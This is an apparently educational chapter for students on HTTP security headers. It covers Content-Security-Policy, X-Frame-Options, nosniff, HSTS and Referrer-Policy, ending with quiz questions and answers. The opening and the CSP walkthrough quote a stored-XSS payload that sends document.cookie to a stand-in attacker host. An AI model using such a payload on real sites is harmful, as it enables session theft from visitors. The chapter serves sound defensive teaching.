The Guestbook That Got Hijacked
Suppose you build a small web app for your school's coding club: a guestbook page where visitors type their name and a message, and every message shows up on the page for the next visitor to read. One evening someone doesn't type a message. They type this instead:
<script>fetch('https://evil-notes.example/steal?c=' + document.cookie)</script>
Your server, doing exactly what you programmed it to do, saves this text and prints it back into the page for every future visitor. The browser of every visitor who opens the guestbook does not see a harmless line of text — it sees an actual <script> tag sitting inside the page's HTML, so it runs it. That script quietly reads the visitor's cookies (which, on a real site, could include their login session) and sends them to the attacker's server. This is called Cross-Site Scripting, or XSS, and it works because the browser cannot tell the difference between "HTML the developer wrote" and "text a stranger typed that happened to look like HTML."
Here is the part that surprises most beginners: fixing this is not only about writing better JavaScript inside the page. Some of the strongest protection against this attack — and against several other common attacks — is not inside the HTML at all. It is written in a completely separate part of the server's response called headers, and it works by giving the browser itself a set of rules to enforce, before a single line of your page's script runs. That is what this chapter teaches: what HTTP headers are, and how a specific family of them — security headers — turn the browser into an active guard for your app instead of a passive display screen.
What Exactly Is an HTTP Header?
Before talking about "security" headers, you need to see what a header is at all, because it is easy to mix it up with the page content.
Think of ordering something through an app like a food-delivery or courier service. The parcel that arrives has two very different kinds of information on it:
- Written on the outside of the box: "Fragile", "This side up", "Keep refrigerated", the delivery address, the sender's name. This is metadata — instructions about the parcel, meant for whoever is handling it.
- Sealed inside the box: the actual item you ordered.
An HTTP response works exactly this way. When your browser asks a server for a web page, the server's reply has two parts:
- Headers — lines of "key: value" metadata about the response, written before the content begins. Things like what type of content this is, how large it is, whether it can be cached, and (as you'll see) what security rules the browser should follow.
- Body — the actual content: the HTML, the image bytes, the JSON data.
A real (simplified) response looks like this:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 4531
Cache-Control: no-store
<!DOCTYPE html>
<html><body><h1>Welcome</h1></body></html>
Everything above the blank line is a header. Everything below it is the body. Your browser reads all the headers first — before it renders a single pixel of the body — and adjusts its own behaviour accordingly. Content-Type: text/html tells it "render this as a web page, not download it as a file." Cache-Control: no-store tells it "don't save a copy of this for later." Headers are instructions to the browser, written by the server, that the browser agrees to obey because both sides speak the same HTTP protocol.
Security headers are simply the subset of response headers whose job is to instruct the browser's built-in security engine — not "how to display this" but "what to refuse to do, no matter what the HTML or JavaScript inside this response tries."
Rule 1 — Content-Security-Policy: The Allowlist for Scripts
Go back to the guestbook attack. The attacker's injected <script> tag worked because, by default, a browser will run any script it finds inside a page's HTML, no matter where that HTML text originally came from. A Content-Security-Policy (CSP) header changes that default. It tells the browser: "only execute scripts (and load images, styles, fonts, etc.) that come from this specific list of trusted sources — refuse everything else, even if it's sitting right there in the HTML."
Here is a CSP header a developer might add to that guestbook site:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net
'self' means "this same website" (same scheme, host, and port). So this policy says: by default only load resources from this site itself, and specifically for scripts, also allow the trusted CDN cdn.jsdelivr.net.
It helps to think of this as a simple membership test the browser runs on every single script it's about to execute. Define the allowed set for scripts as
S = { 'self', https://cdn.jsdelivr.net }
and a function allow(o) that takes the origin o a script is trying to load from and returns 1 (permit) or 0 (block):
allow(o) = 1 if o is in S
allow(o) = 0 if o is not in S
Now trace what happens to four different scripts arriving in the same page, with this policy active:
1. <script src="/app.js"></script>
origin = 'self' -> in S -> allow = 1 -> RUNS
2. <script src="https://cdn.jsdelivr.net/npm/lib.js"></script>
origin = https://cdn.jsdelivr.net -> in S -> allow = 1 -> RUNS
3. <script>fetch('https://evil-notes.example/steal?c='+document.cookie)</script>
this is an INLINE script (no external origin, written directly in the HTML)
CSP treats inline script as its own category, allowed only if the
policy explicitly says 'unsafe-inline' -- this policy doesn't -> allow = 0 -> BLOCKED
4. <script src="https://evil-attacker.com/payload.js"></script>
origin = https://evil-attacker.com -> NOT in S -> allow = 0 -> BLOCKED
Line 3 is exactly the guestbook attack, and it is stopped dead — not because your code detected anything suspicious, but because the browser refuses to run any inline script when the CSP doesn't whitelist inline scripts. This one header would have neutralised the entire attack from the opening example, even though the malicious text still physically sits inside the HTML.
Notice the general shape of this rule: CSP doesn't ask "does this look dangerous?" (which is hard to judge reliably). It asks the much simpler question "is this on the approved list?" — an allowlist is far more reliable than trying to spot every possible attack pattern.
Rule 2 — X-Frame-Options: Stopping Clickjacking
A different attack: imagine a fake "You've won a free recharge!" website that secretly loads your college's UPI-linked fee payment page inside an invisible <iframe>, stretched to cover the whole screen, positioned exactly under a big fake "Claim Now" button. When you click what you think is "Claim Now," you are actually clicking the real "Pay" button on the real payment page underneath — you just can't see it. This is called clickjacking ("click hijacking"): tricking a user into clicking something real by hiding it under something fake.
The fix is a header that tells the browser whether this page is even allowed to be placed inside a frame on someone else's site at all:
X-Frame-Options: DENY
DENY means "never let any site, including this same site, load this page inside a frame." SAMEORIGIN is a slightly looser rule: "only allow this page to be framed by pages from this same website" (useful if your own app legitimately uses frames internally, e.g. an admin dashboard embedding one of its own report pages). With X-Frame-Options: DENY set on the payment page, the moment the attacker's page tries to load it in an <iframe>, the browser leaves that frame blank instead of rendering the payment page inside it — the invisible-button trick has nothing to sit on top of.
Rule 3 — X-Content-Type-Options: No Guessing Games
Every response header includes a Content-Type, e.g. Content-Type: text/plain for a plain text file. But older browsers, trying to be "helpful," used to peek at the actual bytes of a file and guess a different type if the content looked like it might be something else — a behaviour called MIME sniffing. This backfired badly: an attacker could upload a file to a site as an "image" or "text" file (something the site allows), but fill it with HTML and JavaScript. If the browser sniffed the content and decided "this really looks like HTML," it would render and execute it as HTML — script and all — even though the server had explicitly labelled it as harmless text.
X-Content-Type-Options: nosniff
This single header switches sniffing off. It tells the browser: "trust the Content-Type I declared, exactly as written — do not guess, do not override it based on content." A file honestly labelled text/plain stays inert text, full stop, no matter what it contains.
Rule 4 — Strict-Transport-Security: Always the Locked Gate
Picture a student on the free Wi-Fi at a railway station, opening a browser and typing irctc.co.in — without typing https:// in front of it. Left to itself, the browser's first attempt is often a plain, unencrypted HTTP request, which the real server then redirects to the secure HTTPS version. But that first unencrypted request is a window of opportunity: someone else on the same public network can intercept it before the redirect happens, and quietly serve back a fake page instead — a classic downgrade attack.
Strict-Transport-Security: max-age=31536000; includeSubDomains
This header, sent once over a genuine HTTPS connection, tells the browser: "remember, for the next max-age seconds (31,536,000 seconds = 365 days here), never contact this domain — or any of its subdomains, because of includeSubDomains — over plain HTTP again. Rewrite every request to HTTPS internally, before it ever leaves this device." After the very first secure visit, the browser stores this rule locally, so on every later visit — even on hostile public Wi-Fi — it never sends that risky first unencrypted request at all. There's nothing for an attacker to intercept.
Rule 5 — Referrer-Policy: Controlling What Gets Told to the Next Site
When you click a link from Page A to Page B, your browser can tell Page B's server where you came from, using a Referer header (yes, misspelled in the original HTTP specification, and everyone has kept the spelling ever since). By default this can include the full URL you were just on — including any sensitive query text in it, like a search term, or worse, a one-time password-reset token that a careless site put directly in its URL.
Referrer-Policy: strict-origin-when-cross-origin
This tells the browser exactly how much of that "where you came from" information to hand over: the full URL when staying on the same site, only the bare origin (scheme + domain, no path or query) when going to a different site, and nothing at all when going from a secure HTTPS page to an insecure HTTP one. It is a privacy-shaped security header — it limits how much a link click leaks about you to the site on the other end.
The Big Misconception: "My Site Uses HTTPS, So I'm Already Protected"
This is the single most common mix-up students make when they first meet security headers, so it's worth stating precisely why it's wrong. HTTPS (the padlock icon) means your connection uses TLS encryption — it scrambles the data travelling between your browser and the server so that anyone eavesdropping on the network in between (say, on that railway Wi-Fi) can't read or tamper with it in transit.
But TLS only protects data while it's moving between two points. It says absolutely nothing about what happens once the data legitimately arrives — whether the page runs a malicious inline script (XSS), whether the page can be trapped inside someone else's invisible iframe (clickjacking), or whether an uploaded file gets sniffed and executed as something it wasn't declared to be. All three of those attacks work perfectly well over a fully encrypted HTTPS connection — encryption doesn't examine or restrict what a page is allowed to do, it only stops outsiders from reading or altering it in flight. HTTPS and security headers solve two completely different problems, and a genuinely protected app needs both: HTTPS to protect data in transit, and headers like CSP, X-Frame-Options, and X-Content-Type-Options to constrain what the browser is willing to do once the (safely transmitted) content arrives.
Reading a Real Response, Header by Header
Now put all five together, as they would actually appear stacked in one response from a well-secured site:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: strict-origin-when-cross-origin
Notice these five headers don't overlap — each guards a different door:
- Content-Security-Policy guards which scripts/styles/images are allowed to load and run.
- X-Frame-Options guards whether this page can be embedded inside another page.
- X-Content-Type-Options guards whether the browser trusts the declared file type.
- Strict-Transport-Security guards which protocol (HTTP vs HTTPS) is even used to reach the server.
- Referrer-Policy guards what information leaks to the next site you visit.
The browser evaluates every relevant header on every request independently — think of it as several separate AND conditions that all have to pass. A resource on the page only loads if it satisfies the Content-Type Options check and the CSP check that applies to it; the page as a whole only escapes being framed if the framing check passes; and so on. There's no single master switch — it's a set of small, specific, always-on rules, each blocking one particular kind of misbehaviour.
How the Browser Enforces These Rules
Setting These Headers in Practice
You don't invent these headers by hand in your app's page templates — they belong on the server (or the hosting platform sitting in front of it), because they must arrive with every single response, automatically, without depending on any individual page's HTML being written correctly. A common beginner mistake is to add a <meta http-equiv="Content-Security-Policy" ...> tag inside the HTML instead. This partially works for CSP alone, but it has a fatal timing flaw for the other headers: X-Frame-Options, Strict-Transport-Security, and X-Content-Type-Options are not honoured at all when set via a <meta> tag — the browser only respects them as genuine HTTP response headers, sent before the body even starts arriving. If your app runs on something like Node.js with Express, a small piece of middleware (for example the well-known helmet package) sets sensible defaults for all of these in one line; if it's a static site behind a host like Vercel or Netlify, they're configured in that platform's header-configuration file, applied to every response automatically.
Check Yourself
- Your college's fee-payment page must never be loaded inside anyone else's
<iframe>, including your own college's other pages. Which exact header and value do you set? - A CSP policy reads
script-src 'self' https://analytics.example.com. A page includes<script src="https://analytics.example.com/track.js">and also a bare<script>doSomething()</script>written directly in the HTML. Which of the two runs, and which is blocked, and why? - True or false, with a one-line reason: "Once a site has HTTPS enabled, adding a Content-Security-Policy header is no longer necessary."
- A file is uploaded to a server and served with
Content-Type: text/plain, but it secretly contains HTML with a<script>tag inside it. Which header stops an old-style browser from rendering it as HTML anyway, and what is the mechanism it disables? - A user on a railway station's public Wi-Fi types a bank's domain name without
https://. Which header, set on an earlier secure visit, ensures the browser never sends a plain HTTP request to that domain at all?
Answers: (1) X-Frame-Options: DENY — SAMEORIGIN would still allow the college's own pages to frame it, which the requirement rules out. (2) track.js runs, because https://analytics.example.com is explicitly in the allowlist; the inline script is blocked, because CSP treats inline script as a separate category that is only permitted if the policy adds 'unsafe-inline', which it doesn't here. (3) False — HTTPS encrypts data in transit between browser and server, but does not restrict what scripts a page is allowed to run or whether it can be framed; CSP and HTTPS solve different problems and are both needed. (4) X-Content-Type-Options: nosniff; it disables MIME sniffing, the behaviour where a browser inspects file content and overrides the declared Content-Type with its own guess. (5) Strict-Transport-Security (HSTS) — the browser remembers the rule from the earlier visit and silently upgrades every future request to that domain to HTTPS before sending it, closing the window an attacker would need to intercept a plain HTTP request.
Summary
An HTTP response is always two things: headers (metadata read first) and a body (the actual content). Security headers are response headers that hand the browser an enforceable set of rules about what it should refuse to do with that body, no matter what the body itself contains — they are enforced by the browser's own engine, independent of your page's JavaScript. Content-Security-Policy allowlists where scripts, styles, and other resources may load from, blocking both untrusted external scripts and unauthorised inline scripts — directly closing the door on the XSS attack this chapter opened with. X-Frame-Options controls whether a page may be embedded inside a frame at all, defeating clickjacking. X-Content-Type-Options: nosniff forces the browser to trust the declared content type instead of guessing, closing MIME-sniffing-based attacks. Strict-Transport-Security forces every future connection to a domain onto HTTPS automatically, closing the window for downgrade attacks on untrusted networks. Referrer-Policy limits how much of a visited URL leaks to the next site a user clicks through to. None of these replace each other, none of them replace HTTPS, and none of them replace validating and sanitising input on the server — they are an additional, independent layer, enforced by the one piece of software every visitor already trusts completely: their own browser.